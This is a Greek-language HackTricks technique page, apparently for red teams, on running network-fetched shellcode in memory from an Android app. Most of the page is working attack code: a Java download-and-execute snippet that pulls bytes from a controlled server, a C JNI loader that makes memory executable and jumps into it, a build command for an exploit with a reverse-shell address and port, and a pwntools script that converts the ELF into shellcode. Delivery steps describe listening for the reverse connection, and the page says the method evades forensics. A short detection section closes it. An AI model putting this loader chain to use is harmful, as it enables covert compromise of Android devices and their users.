Android Εκτέλεση Native Κώδικα στη Μνήμη μέσω JNI (shellcode)

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει ένα πρακτικό μοτίβο για την εκτέλεση native payloads πλήρως στη μνήμη από μια μη αξιόπιστη διεργασία Android app χρησιμοποιώντας JNI. Το flow αποφεύγει τη δημιουργία οποιουδήποτε native δυαδικού αρχείου στο δίσκο: κατεβάστε raw shellcode bytes μέσω HTTP(S), περάστε τα σε μια γέφυρα JNI, δεσμεύστε μνήμη RX, και κάντε jump σε αυτήν.

Why it matters

  • Μειώνει τα forensic artifacts (no ELF on disk)
  • Συμβατό με “stage-2” native payloads που παράγονται από ένα ELF exploit binary
  • Ταιριάζει με το tradecraft που χρησιμοποιούν σύγχρονα malware και red teams

High-level pattern

  1. Ανακτήστε shellcode bytes σε Java/Kotlin
  2. Καλέστε μια native μέθοδο (JNI) με το byte array
  3. Στο JNI: allocate RW μνήμη → copy bytes → mprotect σε RX → call entrypoint

Minimal example

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI πλευρά (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Σημειώσεις και επιφυλάξεις

  • W^X/execmem: Το σύγχρονο Android εφαρμόζει W^X· οι ανώνυμες PROT_EXEC απεικονίσεις επιτρέπονται γενικά για διεργασίες εφαρμογών με JIT (υπό την πολιτική SELinux). Ορισμένες συσκευές/ROMs το περιορίζουν· χρησιμοποιήστε fallback σε JIT-allocated exec pools ή native bridges όταν χρειάζεται.
  • Αρχιτεκτονικές: Βεβαιωθείτε ότι η αρχιτεκτονική του shellcode ταιριάζει με τη συσκευή (συνήθως arm64-v8a· x86 μόνο σε emulators).
  • Entrypoint contract: Επιλέξτε μια σύμβαση για το entrypoint του shellcode (χωρίς args vs δείκτης σε δομή). Κρατήστε το position-independent (PIC).
  • Σταθερότητα: Καθαρίστε την cache εντολών πριν το άλμα· μη ταιριαστή cache μπορεί να προκαλέσει crash σε ARM.

Packaging ELF → position‑independent shellcode Μια στιβαρή ροή εργασίας είναι:

  • Δημιουργήστε το exploit σας ως static ELF με musl-gcc
  • Μετατρέψτε το ELF σε self‑loading shellcode blob χρησιμοποιώντας pwntools’ shellcraft.loader_append

Κατασκευή

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Μετατροπή ELF σε raw shellcode (παράδειγμα amd64)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Γιατί λειτουργεί το loader_append: παράγει έναν μικρό loader που χαρτογραφεί τα ενσωματωμένα ELF program segments στη μνήμη και μεταφέρει τον έλεγχο στο entrypoint του, δίνοντάς σας ένα ενιαίο raw blob που μπορεί να memcpy’ed και να εκτελεστεί από την app.

Delivery

  • Host sc on an HTTP(S) server you control
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validation workflow for kernel payloads

  • Use a symbolized vmlinux for fast reversing/offset recovery
  • Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
  • Enforce strict code integrity (no dynamic native loading from network) and validate update channels
  • Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks